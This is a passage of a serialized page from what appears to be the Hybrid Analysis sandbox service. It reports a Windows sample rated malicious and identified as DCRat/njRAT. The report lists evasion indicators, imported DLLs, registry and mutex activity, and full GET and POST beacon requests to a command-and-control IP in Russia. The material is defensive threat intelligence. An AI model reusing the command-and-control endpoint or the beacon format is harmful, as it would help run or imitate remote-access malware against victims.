process"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"name":"Evasive","details_count":5,"details":[{"detail":"Possibly tries to evade analysis by sleeping many times"},{"detail":"Modifies file/console tracing settings (often used to hide footprints on system)"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"},{"detail":"Possibly checks for the presence of an Antivirus engine"},{"detail":"Input file contains API references not part of its Import Address Table (IAT)"}],"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]}]},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":6,"imported_dlls_count":82,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":4,"files_deleted_count":0,"registry_keys_created_count":2,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":2,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":0,"contacted_urls_count":5,"http_requests_count":5},"behavior_tags":["evasive","njrat","rat"],"sample_flags":["Network Traffic"],"sandbox_reports":[{"id":"63e7af82875f9b0b522d66f2","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"MSIL.DCRat","contacted_countries":["RUS"],"submit_name":"3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.exe","analysis_start_time":"2023-02-11T15:08:51+00:00","indicators_count":{"informative":47,"suspicious":28,"malicious":8},"tags":["Network Traffic"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"185.246.65.20","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]}],"dns_resolutions":null,"http_requests":[{"host":"185.246.65.20","host_ip":"185.246.65.20:80","url":"/proton/Javascript0Universal/authsecure/Eternal/902/localSecure/VmWordpressasyncwp/8AuthVoiddb/PrivatePipe/baseUniversal/javascript/protonPublicApi/ProtectPoll/09/processorSql.php?pmv=PZopg0ihS&f44973146f2a0ac6f655ae47c065828a=db85139e351ed906f42fc7dce2c49279&217ee64fc02aa1f192f2ae56b1dae308=gZxIGM1cDZ4QzY5MmNlFDZ3AzY4EjYwIDMlVTN5QDOwEjZmVjMkVGM&pmv=PZopg0ihS","method":"GET","header":"GET /proton/Javascript0Universal/authsecure/Eternal/902/localSecure/VmWordpressasyncwp/8AuthVoiddb/PrivatePipe/baseUniversal/javascript/protonPublicApi/ProtectPoll/09/processorSql.php?pmv=PZopg0ihS&f44973146f2a0ac6f655ae47c065828a=db85139e351ed906f42fc7dce2c49279&217ee64fc02aa1f192f2ae56b1dae308=gZxIGM1cDZ4QzY5MmNlFDZ3AzY4EjYwIDMlVTN5QDOwEjZmVjMkVGM&pmv=PZopg0ihS HTTP/1.1\nAccept: */*\nContent-Type: text/csv\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0\nHost: 185.246.65.20\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"host":"185.246.65.20","host_ip":"185.246.65.20:80","url":"/proton/Javascript0Universal/authsecure/Eternal/902/localSecure/VmWordpressasyncwp/8AuthVoiddb/PrivatePipe/baseUniversal/javascript/protonPublicApi/ProtectPoll/09/processorSql.php?lSNI6DV=NDSY1D21kP&e0UP=gLxF1jYwiSfj46e44g&su3F138gf=wU&04636627cdaefcef0271ac7c5a8c6e93=iZzYzczMlRGMmRjYzImM3IWZwQmMhVTY5YDOxImNkRWMkRDZmFmNiJTN4ETO5kjN2ITNyIzM&217ee64fc02aa1f192f2ae56b1dae308=QYjZmYwMmZ4gTNxU2MzUmYhZDOzUGMjJTM4UjZxkDOjdDZ3MjZmVzN&1c5b0418bfdc67bce722294236b1c387=0VfiIiOiQjMjJ2N0ITZ3YjYwQ2YjRDO2EzMxMGN2QWMxMDNwczYiwiIlhDN3EmZ1MzY3YWMhRjZxgTZiRjZiV2YxIzM4ATY2MmYlZzYjVDN3IiOiMDMyEGMlNzN2ATY0IGNiN2NjR2Y4YTO5ImYlNGZhBDOiwiI3ITOjRzM3QWMhVTY3MmZ4EzY2YzNmVmZwMTOlVWNmJTO4gTN2YjY0IiOicjZzATZ1QWZ2IWM1I2YwU2MxM2N2gTNycTZiNmYlVTZis3W","method":"GET","header":"GET /proton/Javascript0Universal/authsecure/Eternal/902/localSecure/VmWordpressasyncwp/8AuthVoiddb/PrivatePipe/baseUniversal/javascript/protonPublicApi/ProtectPoll/09/processorSql.php?lSNI6DV=NDSY1D21kP&e0UP=gLxF1jYwiSfj46e44g&su3F138gf=wU&04636627cdaefcef0271ac7c5a8c6e93=iZzYzczMlRGMmRjYzImM3IWZwQmMhVTY5YDOxImNkRWMkRDZmFmNiJTN4ETO5kjN2ITNyIzM&217ee64fc02aa1f192f2ae56b1dae308=QYjZmYwMmZ4gTNxU2MzUmYhZDOzUGMjJTM4UjZxkDOjdDZ3MjZmVzN&1c5b0418bfdc67bce722294236b1c387=0VfiIiOiQjMjJ2N0ITZ3YjYwQ2YjRDO2EzMxMGN2QWMxMDNwczYiwiIlhDN3EmZ1MzY3YWMhRjZxgTZiRjZiV2YxIzM4ATY2MmYlZzYjVDN3IiOiMDMyEGMlNzN2ATY0IGNiN2NjR2Y4YTO5ImYlNGZhBDOiwiI3ITOjRzM3QWMhVTY3MmZ4EzY2YzNmVmZwMTOlVWNmJTO4gTN2YjY0IiOicjZzATZ1QWZ2IWM1I2YwU2MxM2N2gTNycTZiNmYlVTZis3W HTTP/1.1\nAccept: */*\nContent-Type: text/csv\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0\nHost: 185.246.65.20\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"host":"185.246.65.20","host_ip":"185.246.65.20:80","url":"$30","method":"GET","header":"$31","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"host":"185.246.65.20","host_ip":"185.246.65.20:80","url":"/proton/Javascript0Universal/authsecure/Eternal/902/localSecure/VmWordpressasyncwp/8AuthVoiddb/PrivatePipe/baseUniversal/javascript/protonPublicApi/ProtectPoll/09/processorSql.php?lSNI6DV=NDSY1D21kP&e0UP=gLxF1jYwiSfj46e44g&su3F138gf=wU&04636627cdaefcef0271ac7c5a8c6e93=iZzYzczMlRGMmRjYzImM3IWZwQmMhVTY5YDOxImNkRWMkRDZmFmNiJTN4ETO5kjN2ITNyIzM&217ee64fc02aa1f192f2ae56b1dae308=QYjZmYwMmZ4gTNxU2MzUmYhZDOzUGMjJTM4UjZxkDOjdDZ3MjZmVzN&1c5b0418bfdc67bce722294236b1c387=QX9JSUNJiOiQjMjJ2N0ITZ3YjYwQ2YjRDO2EzMxMGN2QWMxMDNwczYiwiIjJ2NhV2MxgjY0AjMlZTMkNmN3ETZjFDO2EGN0MGZlljZ2EWYkRTMhJiOiMDMyEGMlNzN2ATY0IGNiN2NjR2Y4YTO5ImYlNGZhBDOiwiI3ITOjRzM3QWMhVTY3MmZ4EzY2YzNmVmZwMTOlVWNmJTO4gTN2YjY0IiOicjZzATZ1QWZ2IWM1I2YwU2MxM2N2gTNycTZiNmYlVTZis3W","method":"GET","header":"GET /proton/Javascript0Universal/authsecure/Eternal/902/localSecure/VmWordpressasyncwp/8AuthVoiddb/PrivatePipe/baseUniversal/javascript/protonPublicApi/ProtectPoll/09/processorSql.php?lSNI6DV=NDSY1D21kP&e0UP=gLxF1jYwiSfj46e44g&su3F138gf=wU&04636627cdaefcef0271ac7c5a8c6e93=iZzYzczMlRGMmRjYzImM3IWZwQmMhVTY5YDOxImNkRWMkRDZmFmNiJTN4ETO5kjN2ITNyIzM&217ee64fc02aa1f192f2ae56b1dae308=QYjZmYwMmZ4gTNxU2MzUmYhZDOzUGMjJTM4UjZxkDOjdDZ3MjZmVzN&1c5b0418bfdc67bce722294236b1c387=QX9JSUNJiOiQjMjJ2N0ITZ3YjYwQ2YjRDO2EzMxMGN2QWMxMDNwczYiwiIjJ2NhV2MxgjY0AjMlZTMkNmN3ETZjFDO2EGN0MGZlljZ2EWYkRTMhJiOiMDMyEGMlNzN2ATY0IGNiN2NjR2Y4YTO5ImYlNGZhBDOiwiI3ITOjRzM3QWMhVTY3MmZ4EzY2YzNmVmZwMTOlVWNmJTO4gTN2YjY0IiOicjZzATZ1QWZ2IWM1I2YwU2MxM2N2gTNycTZiNmYlVTZis3W HTTP/1.1\nAccept: */*\nContent-Type: text/csv\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0\nHost: 185.246.65.20","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"host":"185.246.65.20","host_ip":"185.246.65.20:80","url":"/proton/Javascript0Universal/authsecure/Eternal/902/localSecure/VmWordpressasyncwp/8AuthVoiddb/PrivatePipe/baseUniversal/javascript/protonPublicApi/ProtectPoll/09/processorSql.php?lSNI6DV=NDSY1D21kP&e0UP=gLxF1jYwiSfj46e44g&su3F138gf=wU&04636627cdaefcef0271ac7c5a8c6e93=iZzYzczMlRGMmRjYzImM3IWZwQmMhVTY5YDOxImNkRWMkRDZmFmNiJTN4ETO5kjN2ITNyIzM&217ee64fc02aa1f192f2ae56b1dae308=QYjZmYwMmZ4gTNxU2MzUmYhZDOzUGMjJTM4UjZxkDOjdDZ3MjZmVzN","method":"POST","header":"POST /proton/Javascript0Universal/authsecure/Eternal/902/localSecure/VmWordpressasyncwp/8AuthVoiddb/PrivatePipe/baseUniversal/javascript/protonPublicApi/ProtectPoll/09/processorSql.php?lSNI6DV=NDSY1D21kP&e0UP=gLxF1jYwiSfj46e44g&su3F138gf=wU&04636627cdaefcef0271ac7c5a8c6e93=iZzYzczMlRGMmRjYzImM3IWZwQmMhVTY5YDOxImNkRWMkRDZmFmNiJTN4ETO5kjN2ITNyIzM&217ee64fc02aa1f192f2ae56b1dae308=QYjZmYwMmZ4gTNxU2MzUmYhZDOzUGMjJTM4UjZxkDOjdDZ3MjZmVzN HTTP/1.1\nContent-Type: multipart/form-data; boundary=----------WebKitFormBoundaryPgch1EfKU42GQWtg\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29\nHost: 185.246.65.20\nContent-Length: 833\nExpect: 100-continue","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}],"processes":[{"pid":3676,"ppid":0,"name":"3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.exe","command_line":"","sha256":"3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2","normalized_path":"C:\\3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2.exe","uid":"00000000-00003676","icon":"$32"}],"all_imported_dlls":["profapi.dll","psapi.dll","rasapi32.dll","WMINet_Utils.dll","cfgmgr32.dll","MMDevAPI.dll","sechost.dll","api-ms-win-core-synch-l1-2-0.dll","midimap.dll","imm32.dll","System.Management.ni.dll","clr.dll","System.Drawing.ni.dll","ksuser.dll","version.dll","fastprox.dll","rasman.dll","IPHLPAPI.DLL","kernel32.dll","ole32.dll","wbemprox.dll","System.ni.dll","usp10.dll","System.Windows.Forms.ni.dll","AudioSes.dll","cryptsp.dll","winhttp.dll","dhcpcsvc6.dll","wbemcomn.dll","ntdll.dll","oleaut32.dll","devobj.dll","System.Xml.ni.dll","avrt.dll","msacm32.dll","msctf.dll","shlwapi.dll","rpcrt4.dll","clrjit.dll","webio.dll","wmiutils.dll","wbemsvc.dll","lpk.dll","mswsock.dll","propsys.dll","mscoreei.dll","advapi32.dll","rpcss.dll","cryptbase.dll","RpcRtRemote.dll","bcrypt.dll","WSHTCPIP.DLL","vcruntime140_clr0400.dll","ws2_32.dll","ucrtbase_clr0400.dll","mscorlib.ni.dll","nlssorting.dll","sspicli.dll","rtutils.dll","dhcpcsvc.dll","mscoree.dll","user32.dll","winmm.dll","System.Runtime.Serialization.ni.dll","nsi.dll","credssp.dll","setupapi.dll","dnsapi.dll","shell32.dll","wship6.dll","gdi32.dll","api-ms-win-core-xstate-l2-1-0.dll","System.Core.ni.dll","clbcatq.dll","rsaenh.dll","ntdsapi.dll","fltLib.dll","msvcrt.dll","KernelBase.dll","uxtheme.dll","System.Configuration.ni.dll","winnsi.dll"]},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":[{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{FC9EBB92-F38F-4C0F-9BB2-4E5E64704E72}","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\\","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\8f61e4e90384893535caeca934e87b6daa6de21c","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\MidiMapper_modLongMessage_RefCnt","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"name":"Local\\8f61e4e90384893535caeca934e87b6daa6de21c","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"name":"Local\\MidiMapper_modLongMessage_RefCnt","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"63e7af82875f9b0b522d66f2"}]}]}},"report_ids":{"sandbox_job_ids":["63e7af82875f9b0b522d66f2"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Dacic.7C351673.A.Generic Sample 3d9d29b0f45e… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 3d9d29b0f45e…. Malware family: Dacic.7C351673.A.Generic. Threat score 100/100. 19/28 AV engines flagged this file. 8 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2"}],["$","meta","4",{"property":"og:title","content":"Malicious Dacic.7C351673.A.Generic Sample 3d9d29b0f45e… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 3d9d29b0f45e…. Malware family: Dacic.7C351673.A.Generic. Threat score 100/100. 19/28 AV engines flagged this file. 8 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/3d9d29b0f45ebf573ef99506d6bf85bb374a7fb138ba44520187851a89993ca2"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Dacic.7C351673.A.Generic Sample 3d9d29b0f45e… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 3d9d29b0f45e…. Malware family: Dacic.7C351673.A.Generic. Threat score 100/100. 19/28 AV engines flagged this file. 8 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L33","11",{}]]